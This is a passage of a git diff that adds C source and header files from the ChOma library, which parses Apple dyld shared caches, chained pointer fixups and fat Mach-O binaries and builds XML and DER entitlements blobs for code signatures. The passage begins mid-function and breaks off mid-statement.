(DyldSharedCachePointer){ + .location = ((uint64_t)loc - (uint64_t)mapping->ptr) + mapping->vmaddr, + .target = value, + + .authenticated = loc->auth.authenticated, + .key = loc->auth.key, + .diversifier = loc->auth.diversityData, + .hasAddressDiversity = loc->auth.hasAddressDiversity, + }; + + if (hasRange) { + if (pointer.location < rangeStart) continue; + if (pointer.location >= rangeEnd) break; + } + + bool stop = false; + enumeratorBlock(&pointer, &stop); + if (stop) return 0; + } while (delta != 0); + } + } + break; + } + case 2: { + struct dyld_cache_slide_info2 *info = mapping->slideInfoPtr; + + uint16_t *pageStarts = (uint16_t *)((uintptr_t)info + info->page_starts_offset); + uint16_t *pageExtras = (uint16_t *)((uintptr_t)info + info->page_extras_offset); + uint64_t deltaMask = info->delta_mask; + uint64_t valueMask = ~deltaMask; + uint64_t deltaShift = __builtin_ctzll(deltaMask) - 2; + + uint64_t startAddr = mapping->vmaddr; + uint64_t endAddr = startAddr + (info->page_starts_count * info->page_size); + + uint64_t pageMask = info->page_size - 1; + bool hasRange = false; + + if (rangeStart != 0 && rangeEnd != 0) { + if (rangeStart < startAddr || rangeStart >= endAddr) return -1; + startAddr = rangeStart & ~pageMask; + if (rangeEnd <= startAddr || rangeEnd > endAddr) return -1; + endAddr = (rangeEnd + pageMask) & ~pageMask; + hasRange = true; + } + + for (uint64_t pageAddr = startAddr; pageAddr < endAddr; pageAddr += info->page_size) { + uint64_t pageIdx = (pageAddr - mapping->vmaddr) / info->page_size; + uint16_t pageEntry = pageStarts[pageIdx]; + if (pageEntry == DYLD_CACHE_SLIDE_PAGE_ATTR_NO_REBASE) continue; + + int (^processChain)(uint32_t pageOffset) = ^(uint32_t pageOffset) { + uint32_t delta = 1; + while (delta != 0) { + uint64_t locAddr = pageAddr + pageOffset; + uint64_t rawValue = 0; + dsc_read_from_vmaddr(sharedCache, locAddr, dsc_is32bit(sharedCache) ? sizeof(uint32_t) : sizeof(uint64_t), &rawValue); + delta = (uint32_t)((rawValue & deltaMask) >> deltaShift); + uint64_t target = (rawValue & valueMask); + if (target != 0) { + target += info->value_add; + } + pageOffset += delta; + + DyldSharedCachePointer pointer = (DyldSharedCachePointer){ + .location = locAddr, + .target = target, + + .authenticated = false, + .key = 0, + .diversifier = 0, + .hasAddressDiversity = false, + }; + + if (hasRange) { + if (pointer.location < rangeStart) continue; + if (pointer.location >= rangeEnd) break; + } + + bool stop = false; + enumeratorBlock(&pointer, &stop); + if (stop) return 0; + } + return 1; + }; + + if (pageEntry == DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA) { + uint16_t chainIdx = (pageEntry & 0x3fff); + bool done = false; + while (!done) { + uint16_t pInfo = pageExtras[chainIdx]; + uint32_t pageStartOffset = (pInfo & 0x3fff) * 4; + int r = processChain(pageStartOffset); + if (r == 0) return 0; + done = (pInfo & DYLD_CACHE_SLIDE_PAGE_ATTR_END); + chainIdx++; + } + } + else { + uint32_t pageStartOffset = pageEntry * 4; + int r = processChain(pageStartOffset); + if (r == 0) return 0; + } + } + break; + } + default: { + static bool didShowUnsupportedWarning = false; + if (!didShowUnsupportedWarning) { + fprintf(stderr, "Warning: Unsupported chained fixup version (%u)\n", version); + didShowUnsupportedWarning = true; + } + } + break; + } + + return 0; +} + +int dsc_mapping_enumerate_chained_fixups(DyldSharedCache *sharedCache, DyldSharedCacheMapping *mapping, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)) +{ + return dsc_mapping_enumerate_chained_fixups_on_range(sharedCache, mapping, 0, 0, enumeratorBlock); +} + +int dsc_enumerate_chained_fixups(DyldSharedCache *sharedCache, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)) +{ + for (uint64_t i = 0; i < sharedCache->mappingCount; i++) { + __block bool stopAll = false; + DyldSharedCacheMapping *mapping = &sharedCache->mappings[i]; + dsc_mapping_enumerate_chained_fixups(sharedCache, mapping, ^(DyldSharedCachePointer *pointer, bool *stop) { + enumeratorBlock(pointer, &stopAll); + *stop = stopAll; + }); + if (stopAll) break; + } + return 0; +} + +int dsc_image_enumerate_chained_fixups(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)) +{ + /* + Please note that in iOS 18 and macOS Sonoma, GOTs were unified and they are no longer associated to the image machos + This means multiple images use the same GOTs, which intern means this function will not enumerate over them + This might be fixable by parsing the __auth_stub functions, but that is non trivial + */ + MachO *macho = fat_get_single_slice(image->fat); + if (macho) { + __block bool stopAll = false; + macho_enumerate_segments(macho, ^(struct segment_command_64 *segment, bool *stop) { + //printf("%.*s %#llx %#llx\n", (int)sizeof(segment->segname), segment->segname, segment->vmaddr, segment->vmsize); + if (!strncmp(segment->segname, "__DATA", 6)) /*__DATA, __DATA_DIRTY, __DATA_CONST */ { + DyldSharedCacheMapping* mapping = dsc_lookup_mapping(sharedCache, segment->vmaddr, segment->vmsize); + if (mapping) { + dsc_mapping_enumerate_chained_fixups_on_range(sharedCache, mapping, segment->vmaddr, segment->vmaddr + segment->vmsize, ^(DyldSharedCachePointer *pointer, bool *stop2){ + enumeratorBlock(pointer, &stopAll); + *stop2 = stopAll; + }); + } + } + *stop = stopAll; + }); + } + return 0; +} + +uint64_t dsc_get_base_address(DyldSharedCache *sharedCache) +{ + return sharedCache->baseAddress; +} + +void dsc_free(DyldSharedCache *sharedCache) +{ + if (sharedCache->fileCount > 0) { + for (unsigned i = 0; i < sharedCache->fileCount; i++) { + close(sharedCache->files[i]->fd); + free(sharedCache->files[i]->filepath); + free(sharedCache->files[i]); + } + free(sharedCache->files); + } + if (sharedCache->mappings) { + for (unsigned i = 0; i < sharedCache->mappingCount; i++) { + if (!sharedCache->premapSlide && sharedCache->mappings[i].ptr) { + munmap(sharedCache->mappings[i].ptr, sharedCache->mappings[i].size); + } + if (sharedCache->mappings[i].slideInfoPtr) { + free(sharedCache->mappings[i].slideInfoPtr); + } + } + free(sharedCache->mappings); + } + if (sharedCache->containedImages) { + for (unsigned i = 0; i < sharedCache->containedImageCount; i++) { + if (sharedCache->containedImages[i].path) { + free(sharedCache->containedImages[i].path); + } + if (sharedCache->containedImages[i].fat) { + fat_free(sharedCache->containedImages[i].fat); + } + } + free(sharedCache->containedImages); + } + if (sharedCache->symbolFile.strings) { + uintptr_t stringsPage = (uintptr_t)sharedCache->symbolFile.strings & ~PAGE_MASK; + uintptr_t stringsPageOff = (uintptr_t)sharedCache->symbolFile.strings & PAGE_MASK; + munmap((void *)stringsPage, sharedCache->symbolFile.stringsSize + stringsPageOff); + } + if (sharedCache->symbolFile.nlist) { + free(sharedCache->symbolFile.nlist); + } + free(sharedCache); +} diff --git a/XPF/external/ChOma/src/DyldSharedCache.h b/XPF/external/ChOma/src/DyldSharedCache.h new file mode 100644 index 0000000..b89956d --- /dev/null +++ b/XPF/external/ChOma/src/DyldSharedCache.h @@ -0,0 +1,116 @@ +#ifndef DYLD_SHARED_CACHE_H +#define DYLD_SHARED_CACHE_H + +#include "dyld_cache_format.h" +#include +#include "CachePatching.h" +#include +#include +typedef struct MachO MachO; +typedef struct Fat Fat; + +typedef struct DyldSharedCacheFile { + char *filepath; + size_t filesize; + int fd; + struct dyld_cache_header header; +} DyldSharedCacheFile; + +typedef struct DyldSharedCacheMapping { + uint64_t vmaddr; + uint64_t fileoff; + void *ptr; + uint64_t size; + uint32_t maxProt; + uint32_t initProt; + uint64_t flags; + // ABI stable until here + void *slideInfoPtr; + uint64_t slideInfoSize; + struct DyldSharedCacheFile *file; +} DyldSharedCacheMapping; + +typedef struct DyldSharedCacheImage { + uint64_t address; + uint64_t size; + uint64_t index; + uuid_t uuid; + char *path; + uint32_t nlistStartIndex; + uint32_t nlistCount; + Fat *fat; +} DyldSharedCacheImage; + +typedef struct DyldSharedCache { + unsigned fileCount; + DyldSharedCacheFile **files; + + struct { + bool loaded; + unsigned index; + void *nlist; + uint32_t nlistCount; + char *strings; + uint32_t stringsSize; + } symbolFile; + + unsigned mappingCount; + DyldSharedCacheMapping *mappings; + uint64_t baseAddress; + uint32_t premapSlide; + uint32_t cputype; + uint32_t cpusubtype; + + uint64_t containedImageCount; + DyldSharedCacheImage *containedImages; +} DyldSharedCache; + +typedef struct DyldSharedCachePointer { + uint64_t location; + uint64_t target; + + bool authenticated; + uint8_t key; + uint16_t diversifier; + bool hasAddressDiversity; +} DyldSharedCachePointer; + +enum PAC_KEY { + PAC_KEY_IA = 0, + PAC_KEY_IB = 1, + PAC_KEY_DA = 2, + PAC_KEY_DB = 3, +}; + +DyldSharedCache *dsc_init_from_path_premapped(const char *path, uint32_t premapSlide); +DyldSharedCache *dsc_init_from_path(const char *path); +bool dsc_is32bit(DyldSharedCache *sharedCache); +void dsc_enumerate_files(DyldSharedCache *sharedCache, void (^enumeratorBlock)(const char *filepath, size_t filesize, struct dyld_cache_header *header)); + +void dsc_enumerate_mappings(DyldSharedCache *sharedCache, void (^enumeratorBlock)(DyldSharedCacheMapping *mapping, DyldSharedCacheFile *sourceFile, bool *stop)); +DyldSharedCacheMapping *dsc_lookup_mapping(DyldSharedCache *sharedCache, uint64_t vmaddr, uint64_t size); +void *dsc_find_buffer(DyldSharedCache *sharedCache, uint64_t vmaddr, uint64_t size); + +int dsc_read_from_vmaddr(DyldSharedCache *sharedCache, uint64_t vmaddr, size_t size, void *outBuf); +int dsc_read_string_from_vmaddr(DyldSharedCache *sharedCache, uint64_t vmaddr, char **outString); +uint64_t dsc_fileoff_to_vmaddr(DyldSharedCache *sharedCache, DyldSharedCacheFile *file, uint64_t fileoff); +uint64_t dsc_vmaddr_to_fileoff(DyldSharedCache *sharedCache, uint64_t vmaddr, DyldSharedCacheFile **fileOut); + +void dsc_enumerate_images(DyldSharedCache *sharedCache, void (^enumeratorBlock)(const char *path, DyldSharedCacheImage *imageHandle, MachO *imageMachO, bool *stop)); +DyldSharedCacheImage *dsc_find_image_for_section_address(DyldSharedCache *sharedCache, uint64_t address); +MachO *dsc_image_get_macho(DyldSharedCacheImage *image); +DyldSharedCacheImage *dsc_lookup_image_by_address(DyldSharedCache *sharedCache, uint64_t address); +MachO *dsc_lookup_macho_by_address(DyldSharedCache *sharedCache, uint64_t address, DyldSharedCacheImage **imageHandleOut); +DyldSharedCacheImage *dsc_lookup_image_by_path(DyldSharedCache *sharedCache, const char *path); +MachO *dsc_lookup_macho_by_path(DyldSharedCache *sharedCache, const char *path, DyldSharedCacheImage **imageHandleOut); +int dsc_enumerate_chained_fixups(DyldSharedCache *sharedCache, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)); + +int dsc_image_enumerate_symbols(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(const char *name, uint8_t type, uint64_t vmaddr, bool *stop)); +int dsc_image_enumerate_patches(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(unsigned v, void *patchable_location, bool *stop)); +int dsc_image_enumerate_chained_fixups(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)); + +uint64_t dsc_get_base_address(DyldSharedCache *sharedCache); + +void dsc_free(DyldSharedCache *sharedCache); + +#endif diff --git a/XPF/external/ChOma/src/Entitlements.c b/XPF/external/ChOma/src/Entitlements.c new file mode 100644 index 0000000..141ee8e --- /dev/null +++ b/XPF/external/ChOma/src/Entitlements.c @@ -0,0 +1,508 @@ +#include +#include +#include +#include +#include + +#include "CSBlob.h" +#include "MachO.h" +#include "MemoryStream.h" +#include "FileStream.h" +#include "MachOByteOrder.h" +#include "Entitlements.h" + +CFDataRef get_property_list_data(CFPropertyListRef plist) { + CFDataRef data = NULL; + CFErrorRef error = NULL; + + data = CFPropertyListCreateData( + kCFAllocatorDefault, + plist, + kCFPropertyListXMLFormat_v1_0, + 0, + &error + ); + + if (data == NULL) { + if (error != NULL) { + CFShow(error); + CFRelease(error); + } + } + + return data; +} + +CFPropertyListRef create_property_list_from_file(const char *xmlFile) { + FILE *file = fopen(xmlFile, "rb"); + if (file == NULL) { + fprintf(stderr, "Error: failed to open entitlements file\n"); + return NULL; + } + + fseek(file, 0, SEEK_END); + size_t entitlementsSize = ftell(file); + fseek(file, 0, SEEK_SET); + + void *entitlements = malloc(entitlementsSize); + if (entitlements == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlements file\n"); + fclose(file); + return NULL; + } + + if (fread(entitlements, 1, entitlementsSize, file) != entitlementsSize) { + fprintf(stderr, "Error: failed to read entitlements file\n"); + free(entitlements); + fclose(file); + return NULL; + } + + fclose(file); + CFDataRef entitlementsData = CFDataCreate(NULL, entitlements, entitlementsSize); + if (entitlementsData == NULL) { + fprintf(stderr, "Error: failed to create CFData from entitlements file\n"); + free(entitlements); + return NULL; + } + + CFPropertyListFormat format; + CFErrorRef error; + CFPropertyListRef entitlementsPlist = CFPropertyListCreateWithData(NULL, entitlementsData, kCFPropertyListMutableContainersAndLeaves, &format, &error); + if (entitlementsPlist == NULL) { + fprintf(stderr, "Error: failed to parse entitlements file\n"); + CFRelease(entitlementsData); + CFRelease(error); + free(entitlements); + return NULL; + } + + CFRelease(entitlementsData); + free(entitlements); + + return entitlementsPlist; +} + +CS_DecodedBlob *create_xml_entitlements_blob(const char *entitlementsFile) { + + CFPropertyListRef entitlementsPlist = create_property_list_from_file(entitlementsFile); + if (entitlementsPlist == NULL) { + fprintf(stderr, "Error: failed to create property list from entitlements file\n"); + return NULL; + } + + CFDataRef entitlementsPlistData = get_property_list_data(entitlementsPlist); + if (entitlementsPlistData == NULL) { + fprintf(stderr, "Error: failed to convert entitlements property list to data\n"); + CFRelease(entitlementsPlist); + return NULL; + } + + uint32_t *genericBlob = malloc(sizeof(CSMAGIC_EMBEDDED_ENTITLEMENTS) + sizeof(uint32_t) + CFDataGetLength(entitlementsPlistData)); + if (genericBlob == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlements blob\n"); + CFRelease(entitlementsPlist); + CFRelease(entitlementsPlistData); + return NULL; + } + + // Messy, but it works + *genericBlob = HOST_TO_BIG(CSMAGIC_EMBEDDED_ENTITLEMENTS); + uint32_t totalSize = sizeof(CSMAGIC_EMBEDDED_DER_ENTITLEMENTS) + sizeof(uint32_t) + CFDataGetLength(entitlementsPlistData); + *(genericBlob + 1) = HOST_TO_BIG(totalSize); + memcpy((char *)genericBlob + sizeof(CSMAGIC_EMBEDDED_ENTITLEMENTS) + sizeof(uint32_t), CFDataGetBytePtr(entitlementsPlistData), CFDataGetLength(entitlementsPlistData)); + + CS_DecodedBlob *entitlementsBlob = csd_blob_init(CSSLOT_ENTITLEMENTS, (CS_GenericBlob *)genericBlob); + if (entitlementsBlob == NULL) { + fprintf(stderr, "Error: failed to create entitlements blob\n"); + free(genericBlob); + } + + CFRelease(entitlementsPlist); + CFRelease(entitlementsPlistData); + + return entitlementsBlob; +} + +enum EntitlementType { + ENTITLEMENT_TYPE_BOOL, + ENTITLEMENT_TYPE_INT, + ENTITLEMENT_TYPE_STRING, + ENTITLEMENT_TYPE_ARRAY, +}; + +enum ArrayType { + ARRAY_TYPE_STRING, + ARRAY_TYPE_INT, +}; + +typedef struct { + uint32_t nItems; + enum ArrayType type; + void *items; +} EntitlementArray; + +typedef struct { + enum EntitlementType type; + union { + bool boolValue; + int intValue; + char *stringValue; + EntitlementArray arrayValue; + }; +} EntitlementValue; + +typedef struct { + char *key; + EntitlementValue value; +} Entitlement; + +typedef struct { + uint32_t nEntitlements; + Entitlement *entitlements; +} Entitlements; + +void print_entitlement_information(Entitlement *entitlement) { + printf("Key: %s\n", entitlement->key); + switch (entitlement->value.type) { + case ENTITLEMENT_TYPE_BOOL: + printf("Value: %s\n", entitlement->value.boolValue ? "true" : "false"); + break; + case ENTITLEMENT_TYPE_INT: + printf("Value: %d\n", entitlement->value.intValue); + break; + case ENTITLEMENT_TYPE_STRING: + printf("Value: %s\n", entitlement->value.stringValue); + break; + case ENTITLEMENT_TYPE_ARRAY: + printf("Values:\n"); + for (int i = 0; i < entitlement->value.arrayValue.nItems; i++) { + printf("%d: %s\n", i + 1, ((char **)entitlement->value.arrayValue.items)[i]); + } + break; + } +} + +DEREncodedItem *der_encode_array(EntitlementArray array) { + // Encode each item in the array, then create a sequence of the items + DEREncodedItem **items = malloc(sizeof(DEREncodedItem *) * array.nItems); + for (int i = 0; i < array.nItems; i++) { + // Encode the item + if (array.type == ARRAY_TYPE_STRING) { + items[i] = der_encode_utf8_string(((char **)array.items)[i]); + } else { + items[i] = der_encode_integer(((int *)array.items)[i]); + } + } + + // Create a sequence of the items + DEREncodedItem *sequence = der_encode_sequence(items, array.nItems); + if (sequence == NULL) { + fprintf(stderr, "Error: failed to encode sequence\n"); + return NULL; + } + + // Free the encoded items + for (int i = 0; i < array.nItems; i++) { + der_free_encoded_item(items[i]); + } + free(items); + + return sequence; +} + +DEREncodedItem *der_encode_entitlement(Entitlement entitlement) { + if (!entitlement.key) { + fprintf(stderr, "Error: missing entitlement key\n"); + return NULL; + } + + DEREncodedItem *key = der_encode_utf8_string(entitlement.key); + if (key == NULL) { + fprintf(stderr, "Error: failed to encode entitlement key\n"); + return NULL; + } + DEREncodedItem *value = NULL; + switch (entitlement.value.type) { + case ENTITLEMENT_TYPE_BOOL: + value = der_encode_boolean(entitlement.value.boolValue); + break; + case ENTITLEMENT_TYPE_INT: + value = der_encode_integer(entitlement.value.intValue); + break; + case ENTITLEMENT_TYPE_STRING: + value = der_encode_utf8_string(entitlement.value.stringValue); + break; + case ENTITLEMENT_TYPE_ARRAY: + value = der_encode_array(entitlement.value.arrayValue); + break; + } + + if (value == NULL) { + fprintf(stderr, "Error: failed to encode entitlement value\n"); + der_free_encoded_item(key); + return NULL; + } + + DEREncodedItem *items[] = {key, value}; + + DEREncodedItem *sequence = der_encode_sequence(items, 2); + if (sequence == NULL) { + fprintf(stderr, "Error: failed to encode sequence\n"); + der_free_encoded_item(key); + der_free_encoded_item(value); + return NULL; + } + + der_free_encoded_item(key); + der_free_encoded_item(value); + + return sequence; +} + +DEREncodedItem *der_encode_entitlements(DEREncodedItem *entitlements[], uint32_t nEntitlements) { + DEREncodedItem *entitlementsSet = der_encode_set(entitlements, nEntitlements); + if (entitlementsSet == NULL) { + fprintf(stderr, "Error: failed to encode set of entitlements\n"); + return NULL; + } + + for(int i = 0; i < nEntitlements; i++) { + der_free_encoded_item(entitlements[i]); + } + + return entitlementsSet; +} + +static void append_to_entitlements(const void* key, const void* value, void* context) { + Entitlements *entitlements = (Entitlements *)context; + + CFStringRef keyString = (CFStringRef)key; + CFIndex keyLength = CFStringGetLength(keyString); + CFIndex maxSize = CFStringGetMaximumSizeForEncoding(keyLength, kCFStringEncodingUTF8); + char *keyCString = malloc(maxSize); + if (keyCString == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlement key\n"); + return; + } + + if (!CFStringGetCString(keyString, keyCString, maxSize, kCFStringEncodingUTF8)) { + fprintf(stderr, "Error: failed to convert entitlement key to C string\n"); + free(keyCString); + return; + } + + EntitlementValue entitlementValue; + + CFTypeID valueType = CFGetTypeID(value); + if (valueType == CFBooleanGetTypeID()) { + entitlementValue.type = ENTITLEMENT_TYPE_BOOL; + entitlementValue.boolValue = CFBooleanGetValue((CFBooleanRef)value); + } else if (valueType == CFNumberGetTypeID()) { + entitlementValue.type = ENTITLEMENT_TYPE_INT; + CFNumberGetValue((CFNumberRef)value, kCFNumberSInt32Type, &entitlementValue.intValue); + } else if (valueType == CFStringGetTypeID()) { + entitlementValue.type = ENTITLEMENT_TYPE_STRING; + CFIndex valueLength = CFStringGetLength((CFStringRef)value); + CFIndex maxSize = CFStringGetMaximumSizeForEncoding(valueLength, kCFStringEncodingUTF8); + char *valueCString = malloc(maxSize); + if (valueCString == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlement value\n"); + free(keyCString); + return; + } + + if (!CFStringGetCString((CFStringRef)value, valueCString, maxSize, kCFStringEncodingUTF8)) { + fprintf(stderr, "Error: failed to convert entitlement value to C string\n"); + free(keyCString); + free(valueCString); + return; + } + + entitlementValue.stringValue = valueCString; + } else if (valueType == CFArrayGetTypeID()) { + entitlementValue.type = ENTITLEMENT_TYPE_ARRAY; + CFArrayRef array = (CFArrayRef)value; + CFIndex nItems = CFArrayGetCount(array); + char **items = malloc(sizeof(char *) * nItems); + if (items == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlement array\n"); + free(keyCString); + return; + } + + for (int i = 0; i < nItems; i++) { + CFStringRef item = (CFStringRef)CFArrayGetValueAtIndex(array, i); + CFIndex itemLength = CFStringGetLength(item); + CFIndex maxSize = CFStringGetMaximumSizeForEncoding(itemLength, kCFStringEncodingUTF8); + char *itemCString = malloc(maxSize); + if (itemCString == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlement\n"); + for (int j = 0; j < i; j++) { + free(items[j]); + } + free(items); + free(keyCString); + return; + } + + if (!CFStringGetCString(item, itemCString, maxSize, kCFStringEncodingUTF8)) { + fprintf(stderr, "Error: failed to convert entitlement to C string\n"); + for (int j = 0; j < i; j++) { + free(items[j]); + } + free(items); + free(keyCString); + free(itemCString); + return; + } + + items[i] = itemCString; + } + + EntitlementArray arrayValue = { + .nItems = nItems, + .type = ARRAY_TYPE_STRING, + .items = items, + }; + + entitlementValue.arrayValue = arrayValue; + + } else { + fprintf(stderr, "Error: unknown entitlement value type\n"); + free(keyCString); + return; + } + + Entitlement newEntitlement = { + .key = keyCString, + .value = entitlementValue, + }; + + // print_entitlement_information(&newEntitlement); + + entitlements->entitlements[entitlements->nEntitlements] = newEntitlement; + entitlements->nEntitlements++; + return; +} + +Entitlements *parse_entitlements_from_property_list(const char *entitlementsFile) { + CFPropertyListRef entitlementsPlist = create_property_list_from_file(entitlementsFile); + if (entitlementsPlist == NULL) { + fprintf(stderr, "Error: failed to create property list from entitlements file\n"); + return NULL; + } + + if (CFGetTypeID(entitlementsPlist) != CFDictionaryGetTypeID()) { + fprintf(stderr, "Error: entitlements file is not a dictionary\n"); + CFRelease(entitlementsPlist); + return NULL; + } + + CFDictionaryRef entitlementsDict = (CFDictionaryRef)entitlementsPlist; + + CFIndex nEntitlements = CFDictionaryGetCount(entitlementsDict); + + Entitlements *entitlements = malloc(sizeof(Entitlements)); + if (entitlements == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlements\n"); + CFRelease(entitlementsPlist); + return NULL; + } + + entitlements->nEntitlements = 0; + entitlements->entitlements = malloc(sizeof(Entitlement) * nEntitlements); + + if (entitlements->entitlements == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlements\n"); + CFRelease(entitlementsPlist); + free(entitlements); + return NULL; + } + + CFDictionaryApplyFunction(entitlementsDict, append_to_entitlements, entitlements); + + CFRelease(entitlementsPlist); + + return entitlements; +} + +DEREncodedItem *encode_entitlements_property_list(const char *entitlementsFile) { + Entitlements *entitlements = parse_entitlements_from_property_list(entitlementsFile); + if (entitlements == NULL) { + fprintf(stderr, "Error: failed to parse entitlements\n"); + return NULL; + } + + printf("Parsed %d entitlements from entitlements file.\n", entitlements->nEntitlements); + + DEREncodedItem **encodedEntitlements = malloc(sizeof(DEREncodedItem *) * entitlements->nEntitlements); + if (encodedEntitlements == NULL) { + fprintf(stderr, "Error: failed to allocate memory for encoded entitlements\n"); + free(entitlements->entitlements); + free(entitlements); + return NULL; + } + + for (int i = 0; i < entitlements->nEntitlements; i++) { + encodedEntitlements[i] = der_encode_entitlement(entitlements->entitlements[i]); + if (encodedEntitlements[i] == NULL) { + fprintf(stderr, "Error: failed to encode entitlement\n"); + for (int j = 0; j < i; j++) { + der_free_encoded_item(encodedEntitlements[j]); + } + free(encodedEntitlements); + free(entitlements->entitlements); + free(entitlements); + return NULL; + } + } + + DEREncodedItem *entitlementsSet = der_encode_entitlements(encodedEntitlements, entitlements->nEntitlements); + if (entitlementsSet == NULL) { + fprintf(stderr, "Error: failed to encode entitlements\n"); + for (int i = 0; i < entitlements->nEntitlements; i++) { + der_free_encoded_item(encodedEntitlements[i]); + } + free(encodedEntitlements); + free(entitlements->entitlements); + free(entitlements); + return NULL; + } + free(encodedEntitlements); + free(entitlements->entitlements); + free(entitlements); + + return entitlementsSet; +} + +CS_DecodedBlob *create_der_entitlements_blob(const char *entitlementsFile) { + DEREncodedItem *entitlements = encode_entitlements_property_list(entitlementsFile); + if (entitlements == NULL) { + fprintf(stderr, "Error: failed to encode entitlements\n"); + return NULL; + } + + uint32_t *genericBlob = malloc(sizeof(CSMAGIC_EMBEDDED_DER_ENTITLEMENTS) + sizeof(uint32_t) + entitlements->length); + if (genericBlob == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlements blob\n"); + der_free_encoded_item(entitlements); + return NULL; + } + + *genericBlob = HOST_TO_BIG(CSMAGIC_EMBEDDED_DER_ENTITLEMENTS); + uint32_t totalSize = sizeof(CSMAGIC_EMBEDDED_DER_ENTITLEMENTS) + sizeof(uint32_t) + entitlements->length; + *(genericBlob + 1) = HOST_TO_BIG(totalSize); + + memcpy((char *)genericBlob + sizeof(CSMAGIC_EMBEDDED_DER_ENTITLEMENTS) + sizeof(uint32_t), entitlements->data, entitlements->length); + + CS_DecodedBlob *entitlementsBlob = csd_blob_init(CSSLOT_ENTITLEMENTS, (CS_GenericBlob *)genericBlob); + if (entitlementsBlob == NULL) { + fprintf(stderr, "Error: failed to create entitlements blob\n"); + free(genericBlob); + } + + der_free_encoded_item(entitlements); + + return entitlementsBlob; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/Entitlements.h b/XPF/external/ChOma/src/Entitlements.h new file mode 100644 index 0000000..d7c732a --- /dev/null +++ b/XPF/external/ChOma/src/Entitlements.h @@ -0,0 +1,9 @@ +#ifndef ENTITLEMENTS_H +#define ENTITLEMENTS_H + +#include "CSBlob.h" +#include "DER.h" +CS_DecodedBlob *create_xml_entitlements_blob(const char *entitlementsFile); +CS_DecodedBlob *create_der_entitlements_blob(const char *entitlementsFile); + +#endif // ENTITLEMENTS_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/Fat.c b/XPF/external/ChOma/src/Fat.c new file mode 100644 index 0000000..438e270 --- /dev/null +++ b/XPF/external/ChOma/src/Fat.c @@ -0,0 +1,219 @@ +#include +#include + +#include "Fat.h" +#include "MachO.h" +#include "MachOByteOrder.h" + +#include "FileStream.h" +#include "MemoryStream.h" + +int fat_read_at_offset(Fat *fat, uint64_t offset, size_t size, void *outBuf) +{ + return memory_stream_read(fat->stream, offset, size, outBuf); +} + +MemoryStream *fat_get_stream(Fat *fat) +{ + return fat->stream; +} + +int fat_parse_slices(Fat *fat) +{ + // Get size of file + size_t fileSize = memory_stream_get_size(fat->stream); + if (fileSize == MEMORY_STREAM_SIZE_INVALID) { + printf("Error: Failed to parse fat slices, memory_stream_get_size returned MEMORY_STREAM_SIZE_INVALID\n"); + return -1; + } + + // Read the fat header + struct fat_header fatHeader; + fat_read_at_offset(fat, 0, sizeof(fatHeader), &fatHeader); + FAT_HEADER_APPLY_BYTE_ORDER(&fatHeader, BIG_TO_HOST_APPLIER); + + // Check if the file is a fat file + if (fatHeader.magic == FAT_MAGIC || fatHeader.magic == FAT_MAGIC_64) { + //printf("Fat header found! Magic: 0x%x.\n", fatHeader.magic); + bool is64 = fatHeader.magic == FAT_MAGIC_64; + + // Sanity check the number of MachOs + if (fatHeader.nfat_arch > 5 || fatHeader.nfat_arch < 1) { + printf("Error: invalid number of MachO slices (%d), this likely means you are not using an iOS MachO.\n", fatHeader.nfat_arch); + return -1; + } + + fat->slicesCount = fatHeader.nfat_arch; + fat->slices = malloc(sizeof(MachO*) * fat->slicesCount); + memset(fat->slices, 0, sizeof(MachO*) * fat->slicesCount); + + // Iterate over all machOs + for (uint32_t i = 0; i < fatHeader.nfat_arch; i++) { + struct fat_arch_64 arch64 = {0}; + if (is64) { + // Read the arch descriptor + fat_read_at_offset(fat, sizeof(struct fat_header) + i * sizeof(arch64), sizeof(arch64), &arch64); + FAT_ARCH_64_APPLY_BYTE_ORDER(&arch64, BIG_TO_HOST_APPLIER); + } + else { + // Read the fat arch structure + struct fat_arch arch = {0}; + fat_read_at_offset(fat, sizeof(struct fat_header) + i * sizeof(arch), sizeof(arch), &arch); + FAT_ARCH_APPLY_BYTE_ORDER(&arch, BIG_TO_HOST_APPLIER); + + // Convert fat_arch to fat_arch_64 + arch64 = (struct fat_arch_64){ + .cputype = arch.cputype, + .cpusubtype = arch.cpusubtype, + .offset = (uint64_t)arch.offset, + .size = (uint64_t)arch.size, + .align = arch.align, + .reserved = 0, + }; + } + + MemoryStream *machOStream = memory_stream_softclone(fat->stream); + int r = memory_stream_trim(machOStream, arch64.offset, fileSize - (arch64.offset + arch64.size)); + if (r == 0) { + fat->slices[i] = macho_init(machOStream, arch64); + if (!fat->slices[i]) return -1; + } + } + } else { + // Not Fat? Parse single slice + + fat->slicesCount = 1; + fat->slices = malloc(sizeof(MachO) * fat->slicesCount); + memset(fat->slices, 0, sizeof(MachO) * fat->slicesCount); + + MemoryStream *machOStream = memory_stream_softclone(fat->stream); + + struct mach_header machHeader; + memory_stream_read(machOStream, 0, sizeof(machHeader), &machHeader); + MACH_HEADER_APPLY_BYTE_ORDER(&machHeader, LITTLE_TO_HOST_APPLIER); + + struct fat_arch_64 singleArch = {0}; + singleArch.cpusubtype = machHeader.cpusubtype; + singleArch.cputype = machHeader.cputype; + singleArch.offset = 0; + singleArch.size = fileSize; + singleArch.align = 0x4000; + + MachO *singleSlice = macho_init(machOStream, singleArch); + if (!singleSlice) return -1; + fat->slices[0] = singleSlice; + } + //printf("Found %u MachO slice%s\n", fat->slicesCount, fat->slicesCount > 1 ? "s." : 